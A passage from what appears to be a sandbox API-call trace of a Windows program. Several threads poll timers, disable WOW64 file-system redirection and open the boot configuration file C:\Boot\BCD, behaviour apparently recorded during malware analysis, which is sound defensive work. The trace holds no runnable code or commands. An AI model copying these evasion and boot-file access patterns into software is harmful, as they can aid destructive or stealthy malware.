[0032.695] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.695] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f548 | out: hHeap=0x5f0000) returned 1 [0032.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x62b438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0032.696] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0032.815] GetTickCount () returned 0x180e2 [0032.815] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0033.010] GetTickCount () returned 0x1814f [0033.010] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0033.198] GetTickCount () returned 0x181bc [0033.198] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0033.306] GetTickCount () returned 0x18229 [0033.306] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0033.572] GetTickCount () returned 0x18297 [0033.572] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0033.745] GetTickCount () returned 0x18342 [0033.745] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0033.909] GetTickCount () returned 0x183af [0033.909] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0034.059] GetTickCount () returned 0x1844b [0034.059] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0034.233] GetTickCount () returned 0x184c8 [0034.233] GetTickCount () returned 0x184c8 [0034.233] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0034.441] GetTickCount () returned 0x18564 [0034.441] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0034.564] GetTickCount () returned 0x185e1 [0034.564] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0035.049] GetTickCount () returned 0x187c5 [0035.049] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0035.268] GetTickCount () returned 0x1889f [0035.268] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0035.417] GetTickCount () returned 0x1891c [0035.417] GetTickCount () returned 0x1891c [0035.417] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0035.750] GetTickCount () returned 0x18a63 [0035.750] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0036.412] GetTickCount () returned 0x18d02 [0036.412] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0036.773] GetTickCount () returned 0x18e69 [0036.773] GetTickCount () returned 0x18e69 [0036.773] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0037.272] GetTickCount () returned 0x18f91 [0037.272] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0037.465] GetTickCount () returned 0x1904d [0037.465] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0037.647] GetTickCount () returned 0x190e9 [0037.647] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0037.752] GetTickCount () returned 0x19156 [0037.752] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0037.861] GetTickCount () returned 0x191c3 [0037.862] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0037.971] GetTickCount () returned 0x19230 [0037.971] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0038.080] GetTickCount () returned 0x1929d [0038.080] GetTickCount () returned 0x1929d [0038.080] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0038.189] GetTickCount () returned 0x1930b [0038.189] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0038.298] GetTickCount () returned 0x19378 [0038.298] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0038.408] GetTickCount () returned 0x193e5 [0038.408] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0038.746] GetTickCount () returned 0x1952d [0038.746] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0039.413] GetTickCount () returned 0x195a9 [0039.413] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0039.549] GetTickCount () returned 0x19636 [0039.549] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0039.784] GetTickCount () returned 0x19720 [0039.784] GetTickCount () returned 0x19720 [0039.784] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0040.212] GetTickCount () returned 0x198c5 [0040.212] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0040.410] GetTickCount () returned 0x19980 [0040.410] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0040.762] GetTickCount () returned 0x19ad7 [0040.762] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0040.993] GetTickCount () returned 0x19bc1 [0040.993] GetTickCount () returned 0x19bc1 [0040.993] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0041.293] GetTickCount () returned 0x19cf9 [0041.293] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0041.530] GetTickCount () returned 0x19de3 [0041.530] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0041.833] GetTickCount () returned 0x19efc [0041.833] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0042.152] GetTickCount () returned 0x1a005 [0042.152] GetTickCount () returned 0x1a005 [0042.152] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0042.425] GetTickCount () returned 0x1a10f [0042.425] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0042.735] GetTickCount () returned 0x1a227 [0042.735] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0043.142] GetTickCount () returned 0x1a3bd [0043.142] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0043.425] GetTickCount () returned 0x1a4c6 [0043.425] GetTickCount () returned 0x1a4c6 [0043.425] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0043.526] GetTickCount () returned 0x1a533 [0043.527] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0043.652] GetTickCount () returned 0x1a5b0 [0043.652] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0043.850] GetTickCount () returned 0x1a61d [0043.850] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0044.244] GetTickCount () returned 0x1a717 [0044.244] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0044.424] GetTickCount () returned 0x1a7c3 [0044.424] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0044.644] GetTickCount () returned 0x1a88d [0044.644] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0044.811] GetTickCount () returned 0x1a939 [0044.811] GetTickCount () returned 0x1a939 [0044.811] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0044.964] GetTickCount () returned 0x1a9d5 [0044.964] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0045.117] GetTickCount () returned 0x1aa71 [0045.117] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0045.470] GetTickCount () returned 0x1abc8 [0045.470] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0045.810] GetTickCount () returned 0x1ad1f [0045.810] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0045.937] GetTickCount () returned 0x1ad9c [0045.937] GetTickCount () returned 0x1ad9c [0045.937] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0046.112] GetTickCount () returned 0x1ae48 [0046.112] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0046.207] GetTickCount () returned 0x1aeb5 [0046.207] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0046.322] GetTickCount () returned 0x1af22 [0046.322] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0046.426] GetTickCount () returned 0x1af8f [0046.426] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0046.603] GetTickCount () returned 0x1b03b [0046.603] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0047.143] GetTickCount () returned 0x1b25d [0047.143] GetTickCount () returned 0x1b25d [0047.143] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0047.433] GetTickCount () returned 0x1b376 [0047.433] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0047.825] GetTickCount () returned 0x1b4fc [0047.825] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0047.981] GetTickCount () returned 0x1b598 [0047.981] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0048.112] GetTickCount () returned 0x1b624 [0048.112] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0048.587] GetTickCount () returned 0x1b7f8 [0048.587] GetTickCount () returned 0x1b846 [0048.667] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0048.780] GetTickCount () returned 0x1b8b3 [0048.781] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0048.954] GetTickCount () returned 0x1b96f [0048.954] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0049.062] GetTickCount () returned 0x1b9dc [0049.062] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0049.172] GetTickCount () returned 0x1ba49 [0049.172] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0049.473] GetTickCount () returned 0x1bb71 [0049.473] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0049.691] GetTickCount () returned 0x1bc4c [0049.691] GetTickCount () returned 0x1bc4c [0049.691] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0049.815] GetTickCount () returned 0x1bcc9 [0049.815] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0049.987] GetTickCount () returned 0x1bd74 [0049.987] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0050.095] GetTickCount () returned 0x1bde1 [0050.095] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0050.201] GetTickCount () returned 0x1be4f [0050.201] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0050.454] GetTickCount () returned 0x1bf48 [0050.454] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0050.635] GetTickCount () returned 0x1bff4 [0050.635] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0050.732] GetTickCount () returned 0x1c061 [0050.732] GetTickCount () returned 0x1c061 [0050.732] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0050.992] GetTickCount () returned 0x1c15b [0050.992] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0051.172] GetTickCount () returned 0x1c216 [0051.172] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0051.316] GetTickCount () returned 0x1c2a2 [0051.316] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0051.528] GetTickCount () returned 0x1c37d [0051.528] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0051.936] GetTickCount () returned 0x1c512 [0051.936] GetTickCount () returned 0x1c512 [0051.936] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0052.078] GetTickCount () returned 0x1c59f [0052.078] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0052.332] GetTickCount () returned 0x1c698 [0052.332] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x9d4 [0032.689] GetTickCount () returned 0x18065 [0032.689] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x24) returned 0x63bf98 [0032.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63bf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0032.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63bf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0032.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63bf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0032.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63bf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0032.693] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6402e0 [0032.693] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6402e0, Size=0x20) returned 0x66f548 [0032.693] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6402e0 [0032.693] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6402e0, Size=0x20) returned 0x66f570 [0032.694] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.694] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.694] Wow64DisableWow64FsRedirection (in: OldValue=0x258ff84 | out: OldValue=0x258ff84*=0x0) returned 1 [0032.694] lstrlenW (lpString="kernel32.dll") returned 12 [0032.694] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f548 | out: hHeap=0x5f0000) returned 1 [0032.694] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.694] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f570 | out: hHeap=0x5f0000) returned 1 [0032.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x64d448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0032.696] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0032.815] GetTickCount () returned 0x180e2 [0032.815] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0033.010] GetTickCount () returned 0x1814f [0033.010] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0033.198] GetTickCount () returned 0x181bc [0033.198] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0033.306] GetTickCount () returned 0x18229 [0033.306] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0033.572] GetTickCount () returned 0x18297 [0033.572] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0033.745] GetTickCount () returned 0x18342 [0033.745] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0033.909] GetTickCount () returned 0x183af [0033.909] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0034.059] GetTickCount () returned 0x1844b [0034.059] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0034.233] GetTickCount () returned 0x184c8 [0034.233] GetTickCount () returned 0x184c8 [0034.233] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0034.442] GetTickCount () returned 0x18564 [0034.442] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0034.564] GetTickCount () returned 0x185e1 [0034.564] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0035.049] GetTickCount () returned 0x187c5 [0035.049] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0035.269] GetTickCount () returned 0x1889f [0035.269] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0035.417] GetTickCount () returned 0x1891c [0035.417] GetTickCount () returned 0x1891c [0035.417] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0035.750] GetTickCount () returned 0x18a63 [0035.750] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0036.412] GetTickCount () returned 0x18d02 [0036.412] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0036.773] GetTickCount () returned 0x18e69 [0036.773] GetTickCount () returned 0x18e69 [0036.773] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0037.272] GetTickCount () returned 0x18f91 [0037.272] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0037.465] GetTickCount () returned 0x1904d [0037.465] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0037.647] GetTickCount () returned 0x190e9 [0037.647] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0037.752] GetTickCount () returned 0x19156 [0037.752] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0037.862] GetTickCount () returned 0x191c3 [0037.862] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0037.971] GetTickCount () returned 0x19230 [0037.971] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0038.080] GetTickCount () returned 0x1929d [0038.080] GetTickCount () returned 0x1929d [0038.080] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0038.189] GetTickCount () returned 0x1930b [0038.189] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0038.298] GetTickCount () returned 0x19378 [0038.298] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0038.408] GetTickCount () returned 0x193e5 [0038.408] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0038.746] GetTickCount () returned 0x1952d [0038.746] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0039.414] GetTickCount () returned 0x195a9 [0039.414] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0039.550] GetTickCount () returned 0x19636 [0039.550] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0039.784] GetTickCount () returned 0x19720 [0039.784] GetTickCount () returned 0x19720 [0039.784] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0040.212] GetTickCount () returned 0x198c5 [0040.212] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0040.410] GetTickCount () returned 0x19980 [0040.410] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0040.762] GetTickCount () returned 0x19ad7 [0040.762] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0040.993] GetTickCount () returned 0x19bc1 [0040.993] GetTickCount () returned 0x19bc1 [0040.993] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0041.293] GetTickCount () returned 0x19cf9 [0041.294] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0041.530] GetTickCount () returned 0x19de3 [0041.530] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0041.833] GetTickCount () returned 0x19efc [0041.833] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0042.152] GetTickCount () returned 0x1a005 [0042.152] GetTickCount () returned 0x1a005 [0042.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0042.448] GetTickCount () returned 0x1a12e [0042.448] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0042.734] GetTickCount () returned 0x1a227 [0042.734] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0043.142] GetTickCount () returned 0x1a3bd [0043.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0043.425] GetTickCount () returned 0x1a4c6 [0043.425] GetTickCount () returned 0x1a4c6 [0043.425] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0043.526] GetTickCount () returned 0x1a533 [0043.526] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0043.652] GetTickCount () returned 0x1a5b0 [0043.652] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0043.850] GetTickCount () returned 0x1a61d [0043.850] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.244] GetTickCount () returned 0x1a717 [0044.244] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.423] GetTickCount () returned 0x1a7c3 [0044.423] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.644] GetTickCount () returned 0x1a88d [0044.644] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.812] GetTickCount () returned 0x1a939 [0044.812] GetTickCount () returned 0x1a939 [0044.812] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0044.964] GetTickCount () returned 0x1a9d5 [0044.964] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0045.117] GetTickCount () returned 0x1aa71 [0045.117] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0045.470] GetTickCount () returned 0x1abc8 [0045.470] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0045.810] GetTickCount () returned 0x1ad1f [0045.810] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0045.937] GetTickCount () returned 0x1ad9c [0045.938] GetTickCount () returned 0x1ad9c [0045.938] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.112] GetTickCount () returned 0x1ae48 [0046.112] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.207] GetTickCount () returned 0x1aeb5 [0046.208] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.322] GetTickCount () returned 0x1af22 [0046.322] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.426] GetTickCount () returned 0x1af8f [0046.426] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0046.603] GetTickCount () returned 0x1b03b [0046.603] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0047.143] GetTickCount () returned 0x1b24d [0047.143] GetTickCount () returned 0x1b24d [0047.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0047.433] GetTickCount () returned 0x1b376 [0047.433] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0047.825] GetTickCount () returned 0x1b4fc [0047.825] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0047.981] GetTickCount () returned 0x1b598 [0047.981] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0048.112] GetTickCount () returned 0x1b624 [0048.112] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0048.587] GetTickCount () returned 0x1b7f8 [0048.587] GetTickCount () returned 0x1b7f8 [0048.587] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0048.768] GetTickCount () returned 0x1b8b3 [0048.768] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0048.954] GetTickCount () returned 0x1b96f [0048.954] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.062] GetTickCount () returned 0x1b9dc [0049.062] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.171] GetTickCount () returned 0x1ba49 [0049.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.473] GetTickCount () returned 0x1bb71 [0049.473] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.691] GetTickCount () returned 0x1bc4c [0049.691] GetTickCount () returned 0x1bc4c [0049.691] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.815] GetTickCount () returned 0x1bcc9 [0049.815] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0049.987] GetTickCount () returned 0x1bd74 [0049.987] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.095] GetTickCount () returned 0x1bde1 [0050.095] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.201] GetTickCount () returned 0x1be4f [0050.201] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.455] GetTickCount () returned 0x1bf48 [0050.455] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.635] GetTickCount () returned 0x1bff4 [0050.635] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.732] GetTickCount () returned 0x1c061 [0050.732] GetTickCount () returned 0x1c061 [0050.732] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0050.991] GetTickCount () returned 0x1c15b [0050.991] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0051.171] GetTickCount () returned 0x1c216 [0051.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0051.316] GetTickCount () returned 0x1c2a2 [0051.316] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0051.528] GetTickCount () returned 0x1c37d [0051.528] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0051.936] GetTickCount () returned 0x1c512 [0051.936] GetTickCount () returned 0x1c512 [0051.936] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0052.078] GetTickCount () returned 0x1c59f [0052.078] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0052.332] GetTickCount () returned 0x1c698 [0052.332] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x9f8 [0033.664] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x670420 [0033.664] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x680428 [0033.664] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640388 [0033.664] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x62a378 [0033.664] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6403a0 [0033.664] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3510020 [0033.665] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640340 [0033.665] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640340, Size=0x20) returned 0x66f610 [0033.665] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640340 [0033.665] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640340, Size=0x20) returned 0x66f5c0 [0033.665] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.665] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.665] Wow64DisableWow64FsRedirection (in: OldValue=0x2a8ff58 | out: OldValue=0x2a8ff58*=0x0) returned 1 [0033.665] lstrlenW (lpString="kernel32.dll") returned 12 [0033.665] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.665] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.665] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.665] Sleep (dwMilliseconds=0x64) [0033.834] lstrlenW (lpString="BCD") returned 3 [0033.834] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 